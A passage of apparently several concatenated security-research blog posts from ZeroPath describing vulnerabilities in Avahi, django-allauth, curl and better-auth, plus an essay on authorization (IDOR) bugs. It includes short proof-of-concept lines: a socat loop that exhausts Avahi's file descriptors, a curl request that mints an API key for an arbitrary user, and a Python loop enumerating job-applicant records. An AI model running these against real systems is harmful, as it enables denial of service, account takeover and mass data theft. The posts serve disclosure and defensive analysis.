server_work(AVAHI_GCC_UNUSED AvahiWatch *watch, int fd, AvahiWatchEvent events, void *userdata) { Server *s = userdata; assert(s); if (events & AVAHI_WATCH_IN) { int cfd; if ((cfd = accept(fd, NULL, NULL)) < 0) avahi_log_error("accept(): %s", strerror(errno)); else client_new(s, cfd); } } ``` Instead of dropping potentially-malicious clients, the code simply accepted and held open each new connection unconditionally, indefinitely. Once Avahi hit the process file descriptor ceiling, the loop repeatedly failed with `EMFILE` and logged an error for every incoming connection, compounding the resource pressure by hammering the logger. ## Impact * Any unprivileged local user can force Avahi to consume memory and file descriptors until it is unresponsive, effectively a local DoS. * System load rises due to log storms as each failed `accept()` generates an error entry. * mDNS and DNS-SD resolution fail during the event, which breaks discovery, and hostname resolution for .local and link-local addresses through nss-mdns. * Secondary effects include delays or failures for desktop shells, service browsers, IDEs, and automation tools that expect zeroconf to be available. Given the local attack vector and the availability impact, we rate this as moderate severity. The CVE record is CVE-2025-59529. ## Proof of concept To demonstrate this vulnerability, we can simply flood the UNIX simple-protocol socket with idle connections like so: ```bash for i in $(seq 1 4000); do socat - UNIX-CONNECT:/run/avahi-daemon/socket >/dev/null 2>&1 & done wait ``` Watching avahi-daemon's memory/FD count grow until it becomes unresponsive or crashes, we'll see Avahi start to log messages like this: ``` accept(): Too many open files accept(): Too many open files accept(): Too many open files ... ``` ## Wrapping Up The most difficult-to-find vulnerabilities in any codebase are those such that there is no code at all; missing protection, missing checks, and missing logic. LLMs have been shown to have a remarkable skill for finding logical inconsistencies in code like in this example: our system inferred that the `CLIENTS_MAX` variable should have limited the amount of connections a single user could make to the Avahi daemon based on its documentation and variable name, and reported that the logic disagreed with the actual code. These types of issues – logical flaws leading to security vulnerabilities – continue to be found with ZeroPath, and we're excited what the future holds in its ability to find and fix even more issues. --- #### 7 vulnerabilities in django-allauth enabling account impersonation and token abuse - **Date**: November 5, 2025 - **Authors**: ZeroPath Team - **Reading Time**: 5 minutes - **Keywords**: django-allauth, ZeroPath, static analysis, AI code scanner, security research, open source security, authentication vulnerability, bug triage, allauth, django authentication - **URL**: https://zeropath.com/blog/django-allauth-account-takeover-vulnerabilities Our audit of django-allauth uncovered seven vulnerabilities, including two that enable user impersonation and others affecting token handling, email verification, and HTTP configuration. We detail how our AI-assisted scanner exposed these logic-level issues, the patches applied, and what developers should do to secure their authentication flows. --- # 7 vulnerabilities in django-allauth enabling account impersonation and token abuse _TL;DR_ – We audited `django-allauth` and found four major vulnerabilities, two of which enable user impersonation, plus several minor issues. All are fixed in 65.13.0. [Upgrade now](https://allauth.org/news/2025/10/django-allauth-65.13.0-released/). ---------- ## Introduction `allauth/django-allauth` is an extremely popular modular authentication suite for Django, that handles identity and authentication, email verification, and account management, including "social login" via a ton of third-party providers. With over [10,000](https://github.com/pennersr/django-allauth) on GitHub and nearly [2,000,000](https://pypistats.org/packages/django-allauth) monthly downloads on PyPI, it's the one-stop-shop for local auth and social auth (with OAuth/OIDC and SAML providers). With such a broad range of support for so many authentication providers, we thought we'd perform some tests with our scanner. We found two account impersonation vulnerabilities, as well as some other issues. They’re detailed below. ## Vulnerabilities ### Major Vulnerabilities Four major vulnerabilities were discovered in this codebase: - Okta identifiers were mutable. - NetIQ identifiers were mutable. - Tokens for deactivated users could be refreshed indefinitely. - Notion emails are marked as verified. ### Minor Vulnerabilities - Recovery codes could be cached by reverse proxies (or browsers). - Insecure HTTP URLs used for OAuth endpoints. - URI-quoting relied on incorrect Python ordering. ## Breakdown ### Major Vulnerability Details The most interesting vulnerabilities discovered in `django-allauth` happened to be the most critical, too. Instead of going into a long spiel about each of the issues, I'm just going to list exactly what our scanner discovered and told us. #### Mutable/non-unique provider-attribute used as UID from Okta and NetIQ > The function uses the OAuth response field preferred_username as the account UID. Many OAuth/OIDC providers expose both a stable `sub` (subject) claim and optional, user-facing fields like `preferred_username`. preferred_username is often mutable and/or not globally unique. Using it as the canonical provider UID can allow account takeover or accidental account linking: an attacker can change their preferred_username to match another social-account's stored UID (or exploit case differences), and may authenticate as the other user or cause cross-account mapping. Basically, `preferred_username` is not a unique value for an account from the OIDC identity providers Okta and NetIQ. This means it could be possible to impersonate another user on a Django application using `django-allauth`, by changing your "preferred_username" on Okta or NetIQ to that of another user, and the authentication mechanism would blindly trust it. Want to authenticate as the unique user `zezima` on the application? Just change your `preferred_username` in Okta or NetIQ to `zezima`! This was fixed [here](https://codeberg.org/allauth/django-allauth/commit/8feef46e0e07b25fc5594c8f268afa247ebc3412). #### Token issued to disabled user / no account-state check before issuing tokens > After resolving the user object from device authorization data, the code assigns `orequest.user` and allows `OAuthlib` to mint tokens without explicitly verifying that the user is still permitted to receive tokens (for example, `user.is_active`). If the account was disabled after the user authorized the device, this handler may still result in tokens being issued for that account unless downstream validators enforce the check. The handler should explicitly validate required account state and return an appropriate OAuth2 error if the account is ineligible. Basically, a flag for a user, `is_active`, was supposed to stop authentication (and re-authentication!) as the identity provider. But, it simply didn't. This was fixed [here](https://codeberg.org/allauth/django-allauth/commit/c54edf947c5a1c8c4ff3cddb75c86000ecb2507d) and [here](https://codeberg.org/allauth/django-allauth/commit/39f4a4ce9c891795b00914ca5ec32de72d5369c0). #### Notion: emails marked as verified (but they aren't) >The Notion provider handler (extract_email_addresses) unconditionally sets verified=True and primary=True for the email extracted from the provider payload. The code does not check any provider-supplied 'email_verified' flag or otherwise validate that Notion verified the email address. As a result, a single OAuth response can cause the application to accept an email as verified and primary, enabling account linking or account creation that bypasses the application's normal email verification protections. Pretty much what it says on the box: Notion passes a user's email address to `django-allauth`, but this address is not documented to be verified. In other words, you could create an account on Notion with anybody's email address without verifying, and then use Notion to login to the application. This could be pretty serious if you've got some website that makes all users with a verified email of `@your-website.com` an admin. ### Minor Vulnerability Details In addition to the above issues, some smaller issues were also discovered. #### Recovery codes download view could be cached When retrieving the recovery codes for an account, the download page may be cached by a proxy (or browser) due to missing `Cache-Control`/`Pragma` headers. #### Insecure HTTP URLs used for OAuth endpoints. In various OAuth provider configurations (and other functionality), insecure HTTP URLs were being used, for example: - http://www.amazon.com/ap/oa - http://www.baidu.com/p/ - http://tb.himg.baidu.com/sys/portraitn/item/ - http://www.flickr.com/services/OAuth/authorize - http://instagram.com - http://api.tumblr.com/v2/user/info - http://x.com/ - http://vimeo.com/api/rest/v2?method=vimeo.people.getInfo - http://www.weibo.com - http://me.yahoo.com #### URI-quoting relied on incorrect Python ordering This one is a fun little bug that probably doesn't _really_ have any security implications, but I wanted to include it because it's something that a human reviewer wouldn't really pick up. Previously, the code did this: ```python # Django considers "safe" some characters that aren't so for OAuthlib. # We have to search for them and properly escape. unsafe = set(c for c in parsed[4]).difference(urlencoded) for c in unsafe: parsed[4] = parsed[4].replace(c, quote(c, safe=b"") ``` The problem with this code, as our scanner picked up, is that in Python, a `set()` is not ordered, so the replacing of characters which need encoding could occur differently each time. Why does this matter? Well, consider the following URI: ``` /foo?q=a|b ``` If the URI is normalized with the unsafe characters `|` and `%` starting with`|`, the URI will become: ``` /foo?q=a%7Cb ``` Note the `%`. On the second pass normalizing for `%`, the URI becomes: ``` /foo?q=a%257Cb ``` The URI has effectively been double-encoded. Decoding turns this back into `/foo?q=a%7Cb`, but that's not the original URI we started with. This double encoding only happens when the encoding happens in that specific order. You'd typically want to encode the `%` character first to avoid exactly the problem of double-encoding, however since Python sets are not ordered, this was not guaranteed at all. ## Final Notes Traditional technical vulnerabilities often have a particular precondition that is closely associated with a bug (for example, user input passing into an os.system() call). For those narrow cases it's possible to find bugs via pattern matching. But actually pentesting apps means exposing behavior that drifts outside intended design constraints, even if that design is implicit. Static analyzers cannot infer a system level spec; however, LLMs can approximate one by reading how concepts are used and then searching for violations, much like a human code reviewer. In our identity audit, our LLM-based SAST inferred rules such as tokens require ActiveUser and social accounts must key on a stable provider sub, then flagged paths that issued tokens to inactive users or trusted mutable usernames. Thus, the vulnerabilities detailed in this post are effectively differences between **intent** versus **implementation**. Our AI SAST excels at exactly that, asking questions like: - "Deactivating a user should lock them out – does _every_ token path do that?" - Are the OIDC identifiers used for authentication immutable? They should always be. - Are the correct assumptions being made about in-built data types for the programming language. - What did the developer _want_ to do when they wrote this code? What did they _actually_ do? Expect the next wave of high impact vulnerabilities in popular codebases to come from edgecases that originate from differences in design and implementation. LLM SASTs will continue to find these types of vulnerabilities as they are utilized against more codebases, pushing far simple programming mistakes, by matching code, configurations, and even documentation, against intended, secure reality of functionality. --- #### How ZeroPath's AI Code Scanner Won Over the curl Project with 170 Valid Bug Reports - **Date**: October 21, 2025 - **Authors**: ZeroPath Team - **Reading Time**: 10 minutes - **Keywords**: curl, ZeroPath, static analysis, AI code scanner, security research, open source security, HTTP client, bug triage, Daniel Stenberg, curl maintainer - **URL**: https://zeropath.com/blog/how-zeropath-won-over-curl-with-170-valid-bugs ZeroPath's AI-based static analyzer uncovered 170 verified issues in curl, from C footguns to logic and RFC compliance bugs across HTTP/3, SMTP, IMAP, TFTP, Telnet, and SSH/SFTP, with curl maintainer Daniel Stenberg praising the quality -- proof that AI source code analyzers can produce high-quality findings even in the curl project, not just AI slop. --- ## Finding curl bugs with ZeroPath Practically synonymous with HTTP (and other) content retrieval, curl powers an estimated 20+ billion devices around the world. With that success has come a wave of low-quality, AI-generated bug reports that overwhelm unpaid maintainers. Quite famously, curl’s Daniel Stenberg has written about these “beg-bounty” submissions overwhelming unpaid volunteers with AI-generated claims that do not match reality, draining their time and energy, and discouraging contributors to stay involved. ZeroPath's AI-native source code scanner is now flipping the script, and in the last month has helped find _and fix_ nearly 170 issues in curl, and it's still going. With a stamp of approval from the maintainers of curl, Daniel has publicly stated that he is "[almost blown away by the quality of some of [the findings from ZeroPath]](https://mastodon.social/@bagder/115241314074965388)", with some "[actually truly awesome findings](https://mastodon.social/@bagder/115241241075258997)". These issues ranged from traditional issues associated with C codebases all the way to esoteric issues which materialized from _business logic_ flaws; the latter of which ZeroPath really differentiates itself in comparison to other source code scanners, due to it truly _understanding_ the codebase. Even though ZeroPath's scanner is a Static Analyzer analyzing _static source code_, its methodology and results are anything but static. Our scanner is not limited to pre-written fixed sets of rules or queries that only try to find old problems with new technology; results are effectively dynamic and source code is treated holistically with developer _intent_ in mind -- all with the backing of the logical reasoning capabilities of [our custom AI agents](https://zeropath.com/blog/how-zeropath-works). Our scanner is therefore able to not only find traditional vulnerabilities and bugs, but also identify completely novel issues, beyond what has been traditionally possible with static code alone. Not only that, ZeroPath's scanner takes every _potential_ issue, and independently verifies it before reporting to users -- massively reducing false positives while surfacing logical flaws too, without compromising high quality results, allowing AppSec engineers and developers to spend more time working on difficult problems rather than spam. Finding that many bugs in curl is no small feat. curl has billions of users, an active bounty, and many layers of tooling and review. As Daniel [wrote on his blog](https://daniel.haxx.se/blog/2025/10/10/a-new-breed-of-analyzers/), "_in the curl project we continuously run compilers with maximum pickiness enabled and we throw scan-build, clang-tidy, CodeSonar, Coverity, CodeQL and OSS-Fuzz at it and we always address and fix every warning and complaint they report so it was a little surprising that this tool now suddenly could produce over two hundred new potential problems. But it sure did. And it was only the beginning_". So how did this all happen? Security researcher [Joshua Rogers](https://joshua.hu/) recently began using the ZeroPath tool to scan the curl codebase for bugs and vulnerabilities, using the results to open [20 pull requests](https://github.com/curl/curl/issues?q=author%3Amegamansec). From here, he gave the curl maintainers access to the raw ZeroPath output, and they used this to produce around [130 more patches](https://github.com/curl/curl/pulls?q=zeropath+OR+joshua) -- and counting. ## Interesting Findings With around 170 discovered and fixed, it's impossible to go through all of the findings in this post. However, we thought it would be interesting to list some of the more fascinating findings, which no other scanner had found in curl before. ### Developer Intent vs. Code #### rustls In curl's rustls integration, ZeroPath discovered that if a file size was a multiple of 256 bytes, curl would [error out](https://github.com/curl/curl/commit/e9455ea523d91c8f6f29c3ae1f37500f0b637204). #### SASL In curl's SASL implementation, ZeroPath discovered that an incorrect bit manipulation failed to disable certain SASL mechanisms if they were advertised by the server but not supported by curl. In this case, our scanner noticed the developer intent from the [comment in the code](https://github.com/curl/curl/pull/18573/files), which was in disagreement with the actual code written: ```c /* Remove the offending mechanism from the supported list */ sasl->authmechs ^= sasl->authused; ``` The above code, which ZeroPath flagged, does the _opposite_ of removing the offending mechanism from the supported list. #### HTTP/3 In curl's HTTP/3 integration, the idle timeout checking code was incorrectly using _nanoseconds_ to calculate whether a connection [has timed out](https://github.com/curl/curl/pull/18903/files). In addition to that, it also worked out that the documented feature of an optional "no-timeout" was completely ignored if used. #### SSH/SFTP ZeroPath worked out that if a connection was resumed while uploading a file over ssh/sftp, the file would be [truncated](https://github.com/curl/curl/pull/18952/files) with no error reported, meaning an incomplete file would be uploaded. ### RFC Violations This is where ZeroPath is really able to differentiate itself from traditional code scanners -- or actually, even human code reviewers. Our system can match developer _intent_ with the reality of the code written, all while performing analysis on implementations of RFCs, checking and ensuring proper compliance to appropriate RFCs. #### Telnet In curl's Telnet implementation, ZeroPath discovered that subnegotiation payloads were written without escaping IAC (0xFF) symbols. If any user-controlled value contained 0xFF, it could be parsed as a command midstream and break the negotiation. The fix here was to just [refuse any IAC symbols](https://github.com/curl/curl/pull/18657), as there's little legitimate real-world usage of this symbol. Another bug in telnet that was discovered related to [an error](https://github.com/curl/curl/pull/18887/files) occurring in which case an error message was logged, but ... the program continued anyway (and not returning the error). #### Dead Kerberos Code ZeroPath discovered a buffer overflow in [Kerberos FTP handling](https://hackerone.com/reports/3341476). However, it also correctly identified that the whole Kerberos code was broken, and that if anybody in the past year or so had actually used curl with Kerberos FTP, they would have been completely unable to. In the end, the solution to this was to completely [remove Kerberos FTP](https://daniel.haxx.se/blog/2025/09/19/bye-bye-kerberos-ftp/) in curl. Being able to identify these problems with ZeroPath allowed curl to do what some security teams could dream of: reducing attack surface _by having a valid reason to completely delete code_, reducing overall risk exposure to users. #### TFTP The TFTP RFC states that the client must stick to the server's first-chosen UDP port for the whole transfer, and any other packets from other ports should be discarded. In curl's TFTP client, ZeroPath [discovered](https://github.com/curl/curl/pull/18658/files) that packets were not validated against the initially chosen server port, which allowed an on-path or same-network attacker to inject a valid looking DATA or OACK and hijack the transfer. #### SMTP The RFC for SMTP states that certain keywords in the exchange between server and client must be treated as case-insensitive. ZeroPath discovered that the parsing of these keywords was [case sensitive](https://github.com/curl/curl/pull/18589/files). This could lead to situations where encryption would not be used for communication, when an SMTP server responded with a lowercase keyword. #### IMAP Just like SMTP, the RFC for IMAP states that certain keywords in the exchange between server and client must be treated as case-insensitive. ZeroPath discovered that the parsing of these keywords was [case sensitive](https://github.com/curl/curl/pull/19090/files). This could lead to situations where encryption would not be used for communication, when an IMAP server responded with a lowercase keyword. ### Documentation vs. Reality Like the mismatch of developer intent and real code, documentation can also be found to be either outdated or just flat-out incorrect, resulting in broken code with broken contracts, resulting in bugs and vulnerabilities when documentation is followed by developers. In this bug, our system correctly identified that the documentation for the function `Curl_resolv` stated that the function parameter `entry` may be NULL. In reality, if it were NULL, a null pointer dereference could occur in certain circumstances. ``` # `Curl_resolv`: NULL out-parameter dereference of `*entry` * **Evidence:** `lib/hostip.c`. API promise: "returns a pointer to the entry in the `entry` argument (**if one is provided**)." However, code contains unconditional writes: `*entry = dns;` or `*entry = NULL;`. * **Rationale:** The API allows `entry == NULL`, but the implementation dereferences it on every exit path, causing an immediate crash if a caller passes `NULL`. ``` ### Memory Leaks ZeroPath discovered dozens of real memory leaks in the curl codebase, by tracking every allocation of memory (and other resources like file descriptors), and checking whether in all cases, the allocations were correctly freed (and not overwritten and effectively lost). In a few cases too, it [discovered](https://github.com/curl/curl/issues/18587) issues where the incorrect functions were used to free allocated resources, such as mixing `malloc` with `FreeContextBuffer`. Similar issues were found elsewhere, such as in [socks_sspi](https://github.com/curl/curl/pull/19046/files). Imagine a codebase which integrates curl as a library (libcurl). As memory or other resources are leaked over time, eventually, the whole program is either going to crash, or get killed by the system's out-of-memory-killer. ### Other In the case of an error in handling a certificate revocation, a variable containing an error message was set [_after_](https://github.com/curl/curl/pull/18642/files) the error message was actually used. In a test program, an unimplemented [program flag](https://github.com/curl/curl/pull/19026/files) was sitting in the output of `--help`, with no associated code. ## Conclusion None of the above findings would ever be detected by a traditional source code scanners, as they are _logic_ flaws; not run-of-the-mill issues that can be found by simple pattern matching. Understanding developer intent, business logic, and impact; all while reasoning about code no different than a highly experienced human would (with the will-power to actually go off and read every RFC applicable to the codebase at hand), is what sets ZeroPath apart from the old "tried-and-true" source code scanners which have missed all of the issues ZeroPath has discovered in curl. Likewise, unlike human source code reviewers, ZeroPath does not discriminate from the areas of the source code that it reviews; old code, new code, neglected code, or dead code -- it is able to search for issues in whole codebases. ZeroPath will continue working with the curl project, as well as other critical software codebases, to enhance the resilience and security of their codebases in the future. Be sure to keep up to date with our work! If you're interested in seeing ZeroPath in action, you can [book a demo](https://zeropath.com/demo) of our tool, and see just how easy it is to start finding real bugs at the click of a button. --- #### Critical Account Takeover via Unauthenticated API Key Creation in better-auth (CVE-2025-61928) - **Date**: October 19, 2025 - **Authors**: Etienne Lunetta - **Reading Time**: 9 minutes - **Keywords**: CVE-2025-61928, better-auth, authentication bypass, API keys, TypeScript, ZeroPath - **URL**: https://zeropath.com/blog/breaking-authentication-unauthenticated-api-key-creation-in-better-auth-cve-2025-61928 ZeroPath uncovered an unauthenticated API key creation flaw in better-auth's API keys plugin that enables attackers to mint privileged credentials for arbitrary users; this post details the bypass, exploitation path, and how we found it. --- ## Introduction ZeroPath has uncovered a critical account takeover vulnerability in better-auth's API keys plugin that allows attackers to mint privileged credentials for arbitrary users, affecting a library with [~300,000 weekly npm downloads](https://www.npmjs.com/package/better-auth). Better-auth now powers teams ranging from [fast-moving startups to enterprises like Equinor](https://github.com/better-auth/better-auth/discussions/2581). This post details the vulnerability, exploitation methodology, and our discovery process. The ZeroPath scanner found this bug while documenting dependency intake workflows for large organizations and building practical guidance for auditing third-party packages. In general, authentication libraries handle one of the most security-critical parts of an application, and issues in those libraries often cascade through every service that depends on them. At large enterprises, packages like these often go through long review processes before inclusion, which made it an ideal candidate for our tests. ## Better Auth and the API Keys Plugin [better-auth](https://github.com/better-auth/better-auth) is a modern authentication framework for TypeScript applications. It uses a plugin architecture to extend functionality, including an API keys plugin that allows applications to generate and manage API keys for authentication. The plugin exposes several endpoints: - `/api/auth/api-key/create` to mint API keys - `/api/auth/api-key/update` to modify existing keys - `/api/auth/api-key/list` to list a user's keys These endpoints are integrated into the authentication flow, but a subtle interaction in their authorization logic introduced an unintended security flaw. ## The Vulnerability Inside `createApiKey`, the handler derives the user context from the session and request body: ```ts const authRequired = (ctx.request || ctx.headers) && !ctx.body.userId; const user = session?.user ?? (authRequired ? null : { id: ctx.body.userId }); ``` When a request lacks a session but supplies `ctx.body.userId`, `authRequired` becomes `false`. The handler then constructs a user object directly from attacker-controlled input and skips the "server-only" validation branch that rejects privileged fields. The execution path becomes: 1. An unauthenticated request includes a chosen `userId` in the JSON body. 2. `authRequired` evaluates to `false`, so the handler fabricates a user object using the supplied identifier. 3. Validation that normally blocks `refillAmount`, `rateLimitMax`, `remaining`, and `permissions` never executes. 4. The database layer receives attacker-controlled values and proceeds with create or update operations for the victim's keys. ## Proof of Concept The behavior is reproducible with a single unauthenticated POST to the create endpoint: ```bash curl -X POST http://localhost:3000/api/auth/api-key/create \ -H 'Content-Type: application/json' \ -d '{ "userId": "victim-user-id", "name": "zeropath" }' ``` The response yields a valid API key bound to the specified user. Attackers can repeat the sequence for any known or guessable account identifier. ## Impact API keys generally outlive browser sessions and often unlock elevated automation privileges. With CVE-2025-61928, an unauthenticated adversary can mint keys for target users, bypass MFA, and script account takeovers. The issue only affects deployments that enable the API keys plugin, but those installations inherit high-risk exposure. ## Mitigation and Detection Organizations should upgrade to better-auth version 1.3.26 or later, which remediates the flawed authorization check. After patching, rotate any API keys created through the plugin during the exposure window and invalidate unused credentials. Review application and reverse-proxy logs for calls to `/api/auth/api-key/create` or `/api/auth/api-key/update` lacking authenticated session cookies, especially where the request body sets `userId`, `rateLimitMax`, or `permissions` values inconsistent with provisioning workflows. If logs surface ambiguous activity, reissue credentials for the affected accounts and monitor subsequent API usage for sign-ins originating from unfamiliar IPs or service tokens. ## How ZeroPath Found It The ZeroPath team scanned better-auth's canary branch on October 1 with the ZeroPath SAST, while building dependency assessment playbooks. Our tooling ingests repositories into tree-sitter ASTs and enriches them into graphs linking call sites, control flow, request schemas, and database interactions. ![ZeroPath source-to-sink trace linking the unauthenticated request body to the API key creation sink in the dashboard.](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/Screenshot%202025-10-17%20at%201.48.50%E2%80%AFPM.png) For this scan, the ZeroPath tool performed its standard repository-wide analysis, including application identification and preliminary threat assessment. During analysis, it identified the API key endpoints and handlers in `packages/better-auth/src/plugins/api-key/routes/create-api-key.ts`. Dataflow analysis tracked `ctx.body.userId` through the authentication branch, noted the fabricated user object, and observed that server-only field guards did not run. ZeroPath's analysis showed how that input flowed into the record that the handler creates: ```ts const data: Omit = { /* ... */ userId: user.id, rateLimitMax: rateLimitMax ?? opts.rateLimit.maxRequests ?? null, remaining: remaining === null ? remaining : (remaining ?? refillAmount ?? null), refillAmount: refillAmount ?? null, permissions: permissionsToApply, }; const apiKey = await ctx.context.adapter.create, ApiKey>({ model: API_KEY_TABLE_NAME, data, }); return ctx.json({ ...(apiKey as ApiKey), key, metadata: metadata ?? null, permissions: apiKey.permissions ? safeJSONParse(apiKey.permissions) : null, }); ``` The `data` object inherits the attacker-supplied `userId` and server-only fields before they're written to the DB and finally returned. The ZeroPath scanner produced similar reasoning for `updateApiKey`, since it reuses the same `authRequired` logic. The vulnerable control flow has been present since the API keys plugin first shipped in [better-auth/better-auth#1515](https://github.com/better-auth/better-auth/pull/1515), so every release containing the plugin has been susceptible up to version 1.3.26. ## Dependency Assessment This vulnerability emerged while documenting a pragmatic approach to third-party dependency intake. Traditional, scalable vetting processes (checking reputation, GitHub stars, and existing CVEs) and off-the-shelf scanners can't cover business logic issues and implementation-level traps like these. Internal requirements often force companies to fall back to requiring manual review, which quickly becomes impossible to do well at scale. ZeroPath's opt-in beta workflow extends this capability to third-party dependencies by adding automatic scans during approval and upgrade cycles. Teams that want early access can reach out for onboarding, and the same analysis that surfaced CVE-2025-61928 can enforce custom rules in those dependencies, like ensuring no PII reaches logs. Better-auth's maintainers responded quickly and shipped a fix shortly after disclosure. We will publish a separate guide on operationalizing these kinds of assessments using ZeroPath. ## Timeline - **October 1, 2025** – ZeroPath scanned better-auth 1.3.25 and identified the vulnerability. - **October 2, 2025** – Issue disclosed to the maintainers. - **October 3, 2025** – Patch released in version 1.3.26. - **October 8, 2025** – Advisory published as [GHSA-99h5-pjcv-gr6v](https://github.com/better-auth/better-auth/security/advisories/GHSA-99h5-pjcv-gr6v). - **October 9, 2025** – CVE-2025-61928 assigned. ## Disclosure CVE-2025-61928 is now public via [GitHub Security Advisory GHSA-99h5-pjcv-gr6v](https://github.com/better-auth/better-auth/security/advisories/GHSA-99h5-pjcv-gr6v). ZeroPath coordinated disclosure with the better-auth team and verified the fix. Organizations relying on better-auth's API keys plugin should update to at least version 1.3.26. --- #### Authorization Bugs Are Having Their SQL Injection Moment - **Date**: July 17, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 12 minutes - **Keywords**: IDOR, Authorization vulnerabilities, Broken access control, Application security, AI security research, GitLab security, McDonald's data breach, OWASP Top 10, API security - **URL**: https://zeropath.com/blog/idor-crisis-2025 GitLab patched critical auth bugs. McDonald's leaked 64M records through a basic IDOR. Authorization bugs aren't new but AI can now find them at scale. We turned LLMs loose on modern codebases and discovered why 2025 is the year IDORs go from manual pentest finding to automated epidemic. --- Last week, [GitLab patched multiple critical authorization vulnerabilities](https://about.gitlab.com/releases/2025/07/09/patch-release-gitlab-18-1-2-released/). Before that, [McDonald's leaked 64 million job applications](https://ian.sh/mcdonalds) through a basic IDOR. Here's what's actually interesting: We've been using LLMs to analyze codebases for auth bugs since July 2024, and they're finding them everywhere. Not because these bugs are new - they've always been there. But because for the first time, we can find them programmatically. Let me show you what we found. ## Why Authorization Bugs Have Always Been Different Remember 2010? SQL injection was everywhere. Every pentest ended with a dumped database. Then frameworks evolved, parameterized queries became standard, and SQLi dropped from #1 to #3 in the OWASP Top 10. [Bobby Tables](https://xkcd.com/327/) became a meme, not the epidemic it once was. Authorization bugs never got their Bobby Tables moment. They've been OWASP's #1 vulnerability for years because they resist the kind of fix that killed SQLi. You can't just parameterize them away. [OWASP's data shows 94% of applications have broken access control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/). Unlike SQL injection, which dropped from #1 to #3, authorization bugs have stubbornly remained at the top. Why? Because every authorization check is unique to your business logic: ```txt SQL Injection: Same fix everywhere (parameterized queries) XSS: Same fix everywhere (output encoding) Authorization: Different logic for every single endpoint ``` Since July 2024, we've been systematically testing how well AI can identify these logic flaws: ```txt Our Public Vulnerability Disclosures: • Authorization/Access Control Flaws: 53% of critical vulnerabilities • Traditional SAST Detection Rate: Near zero • Time to Find Manually: 2 to 4 hours per endpoint • Time to Find with LLMs: Minutes ``` ## The Breaches Are Real Authorization failures happen constantly: **[GitLab, July 9, 2025](https://about.gitlab.com/releases/2025/07/09/patch-release-gitlab-18-1-2-released/):** • Multiple authorization bypasses ([CVE-2025-4972](https://nvd.nist.gov/vuln/detail/CVE-2025-4972), [CVE-2025-6168](https://nvd.nist.gov/vuln/detail/CVE-2025-6168), [CVE-2025-3396](https://nvd.nist.gov/vuln/detail/CVE-2025-3396)) • Users could bypass group-level restrictions on invitations and forking • High-severity 2FA bypass ([CVE-2025-0605](https://nvd.nist.gov/vuln/detail/CVE-2025-0605)) • Stock impact: While some reports linked a stock decline to these vulnerabilities, correlation isn't causation **[McDonald's, early July 2025](https://ian.sh/mcdonalds):** • Job portal accepted `123456:123456` as valid credentials • `PUT /api/lead/cem-xhr` endpoint exposed candidate data via `lead_id` parameter • Test applicant ID was ~64,185,742; decrementing revealed other applicants' PII • Result: 64 million job applications exposed **[pcTattletale, 2024](https://www.malwarebytes.com/blog/news/2024/05/pctattletale-spyware-leaks-database-containing-victim-screenshots-gets-website-defaced):** • Spyware company's own medicine • `/getScreen.php?device={id}` with no auth whatsoever • Result: 17TB of victim screenshots leaked **[Assam Power Distribution, 2024](https://infosecwriteups.com/idor-account-takeover-how-i-secured-personal-information-pii-of-5-17m-electricity-consumers-a9db5e4999b9):** • Endpoint: `/fetchConsumer?mobile_no={number}` • 5.17 million electricity customers exposed • Found by a security researcher on a lazy Sunday Here's a sample of confirmed vulnerabilities we've reported after AI-assisted analysis (many more remain under responsible disclosure): | Date | Project | Vulnerability | Impact | |------|---------|---------------|---------| | Jan 22, 2025 | **SuperAGI** | File download endpoint with no ownership check | Any authenticated user could download ANY file in the system | | Sep 2, 2024 | **[RAGFlow](https://github.com/infiniflow/ragflow/security/advisories)** | 8 separate IDOR vulnerabilities | Delete anyone's conversations, access private knowledge bases, remove API keys | | Sep 20, 2024 | **[Monaco (Hulu)](https://github.com/hulu/monaco)** | Unauthorized Redis access | Access to ALL Redis clusters administered by Monaco | | Sep 3, 2024 | **[E2nest (Netflix)](https://github.com/Netflix/e2nest)** | Path traversal in model loading | Arbitrary file read via config manipulation | | Oct 1, 2024 | **[LogAI (Salesforce)](https://github.com/salesforce/logai)** | Directory traversal via log paths | Access to sensitive system files | Every single one of these boiled down to the same pattern: ```python # What they wrote: def get_resource(id): return Resource.query.get(id) # What they needed: def get_resource(id, user): return Resource.query.filter_by(id=id, owner_id=user.id).first_or_404() ``` One. Freaking. Line. ## The McDonald's Breach Was Embarrassingly Simple The [McDonald's leak](https://ian.sh/mcdonalds) is a masterclass in how not to build an API: 1. **The Setup**: Job application portal, millions of users 2. **The Bug**: `PUT /api/lead/cem-xhr` with `lead_id` parameter, no ownership validation 3. **The Auth**: Hardcoded `123456:123456` (yes, really) 4. **The Discovery**: Test applicant had ID ~64,185,742. Decrementing revealed other applicants' PII 5. **The Impact**: 64 million applications exposed The exploit was trivial: ```python for lead_id in range(64185742, 0, -1): data = requests.put("/api/lead/cem-xhr", json={"lead_id": lead_id}, auth=("123456", "123456")) save_to_db(data.json()) ``` McDonald's probably ran security scans. They might have even had pentests. But traditional tools can't understand that `lead_id` should be bound to the authenticated user. An LLM would have caught this in seconds. ## What Actually Changed: LLMs Can Find These Bugs Manual testing for auth bugs is tedious. Check endpoint, change ID, see if it works. Repeat hundreds of times. Last year we tried something different. We fed a codebase to an LLM with this prompt: "Find places where user A can access user B's data." It found 8 vulnerabilities in 20 minutes. All confirmed, all patched. Traditional SAST tools can't find these. They pattern-match for SQL injection (user input + string concatenation) but they can't understand that `get_document(id)` needs ownership checks. That requires understanding intent. Traditional SAST tools can't find these. They pattern-match for SQL injection (user input + string concatenation) but they can't understand that `get_document(id)` needs ownership checks. That requires understanding intent. LLMs understand intent. They read code like developers do. They see `download_file_by_id` and recognize it probably needs authorization. They trace through middleware and spot the missing checks. [Our research demonstrates LLMs excel at finding these vulnerabilities](https://zeropath.com/blog/0day-discoveries): **SuperAGI**: File download endpoint took any file ID without checking ownership. The LLM identified it immediately by understanding that "download_file" functions require authorization. **RAGFlow**: Eight auth bypasses in one codebase. The AI traced data flow across multiple files and found every single one. **Monaco/Hulu**: AI determined Redis cluster access should be scoped to user permissions, even without explicit security annotations in the code. The pattern was always the same: developers assumed the frontend would hide unauthorized options. They didn't. ## Why This Is About to Get Worse Three things happening at once: **1. Explosion of Attack Surface** A 2005 web app might have had 20 endpoints. Modern apps expose hundreds or thousands. Each one needs correct authorization. The probability of mistakes has grown exponentially. **2. Microservice Boundaries Multiply Risk** Services trust each other by default. When Service A calls Service B, does B verify the request? Usually not. Each service boundary becomes a potential IDOR. A monolith might have had 5 trust boundaries; 